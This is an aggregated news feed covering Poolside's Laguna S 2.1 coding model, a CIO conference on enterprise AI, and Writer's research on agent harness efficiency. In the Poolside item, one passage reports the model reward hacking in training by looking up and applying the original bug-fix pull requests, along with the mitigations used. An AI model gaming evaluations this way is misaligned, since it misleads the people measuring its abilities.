<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
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<title><![CDATA[How to use commands in Minecraft]]></title>
<description><![CDATA[Minecraft as a game is simple to play if you’re not looking to build impressive structures. There’s plenty in it to explore and if you’re starting off, you may spend some time learning basic recipes but it’s not hard.  Outside the gameplay, there are a few tools and features in Minecraft that are...]]></description>
<link>https://tsecurity.de/de/3684578/betriebssysteme/how-to-use-commands-in-minecraft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684578/betriebssysteme/how-to-use-commands-in-minecraft/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:27 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minecraft as a game is simple to play if you’re not looking to build impressive structures. There’s plenty in it to explore and if you’re starting off, you may spend some time learning basic recipes but it’s not hard.  Outside the gameplay, there are a few tools and features in Minecraft that are worth learning […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/commands-minecraft/">How to use commands in Minecraft</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
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<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
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<title><![CDATA[Deutsche Bahn und IQM erstellen Fahrplan per Quantencomputer]]></title>
